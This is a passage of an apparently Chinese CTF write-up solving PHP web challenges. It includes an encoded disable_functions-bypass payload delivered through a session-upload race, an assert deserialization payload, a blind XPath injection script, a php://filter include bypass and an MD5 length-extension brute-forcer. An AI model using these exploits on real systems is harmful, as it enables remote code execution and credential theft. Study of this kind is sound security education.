Q0F0SURCNFl6ZzdDZ29nSUNBZ0l5Qm1ZV3RsSUhaaGJIVmxDaUFnSUNCM2NtbDBaU2drWVdKakxDQXdlRFl3TENBeUtUc0tJQ0FnSUhkeWFYUmxLQ1JoWW1Nc0lEQjROekFzSURZcE93b0tJQ0FnSUNNZ1ptRnJaU0J5WldabGNtVnVZMlVLSUNBZ0lIZHlhWFJsS0NSaFltTXNJREI0TVRBc0lDUmhZbU5mWVdSa2NpQXJJREI0TmpBcE93b2dJQ0FnZDNKcGRHVW9KR0ZpWXl3Z01IZ3hPQ3dnTUhoaEtUc0tDaUFnSUNBa1kyeHZjM1Z5WlY5dlltb2dQU0J6ZEhJeWNIUnlLQ1JoWW1Nc0lEQjRNakFwT3dvS0lDQWdJQ1JpYVc1aGNubGZiR1ZoYXlBOUlHeGxZV3NvSkdOc2IzTjFjbVZmYUdGdVpHeGxjbk1zSURncE93b2dJQ0FnYVdZb0lTZ2tZbUZ6WlNBOUlHZGxkRjlpYVc1aGNubGZZbUZ6WlNna1ltbHVZWEo1WDJ4bFlXc3BLU2tnZXdvZ0lDQWdJQ0FnSUdScFpTZ2lRMjkxYkdSdUozUWdaR1YwWlhKdGFXNWxJR0pwYm1GeWVTQmlZWE5sSUdGa1pISmxjM01pS1RzS0lDQWdJSDBLQ2lBZ0lDQnBaaWdoS0NSbGJHWWdQU0J3WVhKelpWOWxiR1lvSkdKaGMyVXBLU2tnZXdvZ0lDQWdJQ0FnSUdScFpTZ2lRMjkxYkdSdUozUWdjR0Z5YzJVZ1JVeEdJR2hsWVdSbGNpSXBPd29nSUNBZ2ZRb0tJQ0FnSUdsbUtDRW9KR0poYzJsalgyWjFibU56SUQwZ1oyVjBYMkpoYzJsalgyWjFibU56S0NSaVlYTmxMQ0FrWld4bUtTa3BJSHNLSUNBZ0lDQWdJQ0JrYVdVb0lrTnZkV3hrYmlkMElHZGxkQ0JpWVhOcFkxOW1kVzVqZEdsdmJuTWdZV1JrY21WemN5SXBPd29nSUNBZ2ZRb0tJQ0FnSUdsbUtDRW9KSHBwWmw5emVYTjBaVzBnUFNCblpYUmZjM2x6ZEdWdEtDUmlZWE5wWTE5bWRXNWpjeWtwS1NCN0NpQWdJQ0FnSUNBZ1pHbGxLQ0pEYjNWc1pHNG5kQ0JuWlhRZ2VtbG1YM041YzNSbGJTQmhaR1J5WlhOeklpazdDaUFnSUNCOUNnb2dJQ0FnSXlCbVlXdGxJR05zYjNOMWNtVWdiMkpxWldOMENpQWdJQ0FrWm1GclpWOXZZbXBmYjJabWMyVjBJRDBnTUhoa01Ec0tJQ0FnSUdadmNpZ2thU0E5SURBN0lDUnBJRHdnTUhneE1UQTdJQ1JwSUNzOUlEZ3BJSHNLSUNBZ0lDQWdJQ0IzY21sMFpTZ2tZV0pqTENBa1ptRnJaVjl2WW1wZmIyWm1jMlYwSUNzZ0pHa3NJR3hsWVdzb0pHTnNiM04xY21WZmIySnFMQ0FrYVNrcE93b2dJQ0FnZlFvS0lDQWdJQ01nY0hkdUNpQWdJQ0IzY21sMFpTZ2tZV0pqTENBd2VESXdMQ0FrWVdKalgyRmtaSElnS3lBa1ptRnJaVjl2WW1wZmIyWm1jMlYwS1RzS0lDQWdJSGR5YVhSbEtDUmhZbU1zSURCNFpEQWdLeUF3ZURNNExDQXhMQ0EwS1RzZ0l5QnBiblJsY201aGJDQm1kVzVqSUhSNWNHVUtJQ0FnSUhkeWFYUmxLQ1JoWW1Nc0lEQjRaREFnS3lBd2VEWTRMQ0FrZW1sbVgzTjVjM1JsYlNrN0lDTWdhVzUwWlhKdVlXd2dablZ1WXlCb1lXNWtiR1Z5Q2dvZ0lDQWdLQ1JvWld4d1pYSXRQbUlwS0NSamJXUXBPeUJsZUdsMEtDazdJSDA9'))); ?>\'''
}
'''
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo 'asdf'; include('/tmp/b.php'); ?>'''
}
r.post(url,files=files,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://ha1cyon-ctf.fun:30124/index.bak.php?action=/tmp/sess_123456", headers=headers)
if 'asdf' not in t.text:
print('[+]retry')
else:
print(t.text)
print('over')
event.clear()

event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

RealEzPHP

考察点:反序列化、PHP特性、绕过disable_functions

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

2020-04-20 02:06:48

简单的反序列化,接收两个参数,并动态调用类中的$b函数;在响应头中发现php7.0,那么可用assert函数执行任意代码,然后和上面思路一样,将bypass disable_functions的exp写到文件内然后包含执行;构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class HelloPhp
{
public $a;
public $b;
}

$a = new HelloPhp();
#$a->a = 'highlight_file("/tmp/a.php")';
$a->a = 'include("/tmp/a.php")';
#$a->a = 'file_put_contents("/tmp/a.php", base64_decode(base64_decode($_POST["t"])))';
$a->b = "assert";
echo urlencode(serialize($a));

之后在当前进程环境变量中找到flag:

ezlogin

考察点:CSRF-Token绕过、XPATH盲注

以前做的注入题大多都是SQL的,然后这次想了想出了一道简单的XPATH注入题,许多师傅可能抓包看到了提交格式为XML(也算种提示),然后进行了XXE的测试,但这道题目进行了token验证,因此是行不通的;然后在登录的时候做了限制,开始想着用验证码的,不过怕被打…改成了token验证,验证流程为:每次访问的时候会将随机生成的token写入到session中,然后将token传到html页面的隐藏表单中,下一次请求时将表单token值与session存储的值进行对比,而且session失效时间设置为15s。因此只能在15s内登录1次,不能重放

那么通过写脚本构造随机的sessid,然后请求拿到对应的token,再使用这个sessid和token进行请求,便可进行正常测试

XPath是XML的路径语言,使用路径表达式来选取XML文档中的节点或者节点集,本道题目的XML内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>

<root>
<accounts>
<user>
<id>1</id>
<username>guest</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id>2</id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>

如果是随便输入的用户名,会显示用户名或密码错误;如果在username处输入:

1' or 1 or '

密码随便输入,会显示:

非法操作

一般注入语句为:

# 拿到一级标签内容
1' or substring(name(/*[position()=1]),{},1)='{}' or '1'='1
# 获得username标签中的内容
1' or substring(/root/accounts/user[2]/username/text(),{},1)='{}' or '1'='1

贴一下exp,写的比较烂师傅们看看就好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import string
import re
import random

url = 'http://127.0.0.1:10000/login.php'

dic = string.ascii_letters + string.digits

# 获取token和SESSID
def get_token():
headers = {
"Cookie":"PHPSESSID=" + str(random.randint(1,9999999999))
}
req = requests.get(url, headers=headers)
token = re.findall('"token" value="(.*?)"', req.text)[0]
return token, headers


def get_value(*params, position=1):
text = ''
# 获取各节点值
if len(params) == 0:
data = "<username>1' or substring(name(/*[position()=" + str(position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 1:
data = "<username>1' or substring(name(/" + params[0] + "/*[position()= " + str(position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 2:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/*[position()= " + str(position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 3:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/*[position()= " + str(position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 4:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/" + params[3] + "/*[position()=" + str(position) + "],{},1))='{}' or '1'='1</username><password>1</password><token>{}</token>"
# 获取用户名和密码
elif len(params) == 5:
#data = "<username>1' or substring(/root/accounts/user[2]/username/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
data = "<username>1' or substring(/root/accounts/user[2]/password/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"

for i in range(1,40):
for j in dic:
token, headers = get_token()
headers["Content-Type"] = "application/xml"
payload = data.format(i, j, token)
res = requests.post(url, headers=headers,data=payload).text
if '非法操作' in res:
text += j
print(text)
break
return text

v1 = get_value()
print(v1)

v2 = get_value(v1)
print(v2)

v3 = get_value(v1, v2)
print(v3)

v4 = get_value(v1, v2, v3)
print(v4)

v4_1 = get_value(v1, v2, v3, position=2)
print(v4_1)
v4_2 = get_value(v1, v2, v3, position=3)
print(v4_2)

v5 = get_value(1,2,3,4,5)
print(v5)

拿到用户名和密码后,只需将密码md5解密后即可登录,登录后查看页面源码,发现提示

看到?file=welcome,尝试去访问/welcome,发现可以请求到这个文件,那么这里便可能存在文件包含;然后返回内容中不能出现flag,还对参数进行了检测,不能出现phpbaseread关键字,但没有检测大小写;这里直接给出最后的payload:

Php://filter/string.rot13/resource=/flag

ezinclude

考察点:hash扩展攻击、文件包含

<!--md5($secret.$name)===$pass -->

在response header中发现Cookie字段:

Hash=fa25e54758d5d5c1927781a6ede89f8a

尝试提交/?name=gtfly,神奇的是在header中返回了对应的hash,将密码替换上给出地址flflflflag.php,访问后发现跳转,那么抓包查看:

又是文件包含…和上面做法一样即可

用hash扩展攻击的做法

这里用了一个工具:

https://github.com/JoyChou93/md5-extension-attack

这个工具比较方便的是,只需要输入hash、追加的明文以及salt和原字符的长度即可生成相应payload:

由于这道题不知道salt长度,那么需要爆破,在同级目录写个exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os
import requests
import re

url = 'http://ha1cyon-ctf.fun:30170/'

def get_payload(length):
h = 'python md5pad.py fa25e54758d5d5c1927781a6ede89f8a admin {}'.format(length)
res = os.popen(h).read()
res = res.replace('\n', '')
return re.findall('urlencode: (.*)md5', res, re.S)[0]


for i in range(1000):
print(i)
payload = get_payload(i)
res = requests.post(url+'?name='+payload+'&pass=acda6a2e1f1765da03ca9a027dfdc40b').text
if 'error' not in res:
print(res, i)
break

爆破得到结果:

最后是一道java的题目,可惜太菜了java实在是不会…虽说比赛过程中有人搅屎平台老是down,但总的来说题目质量还不错,学到了不少东西。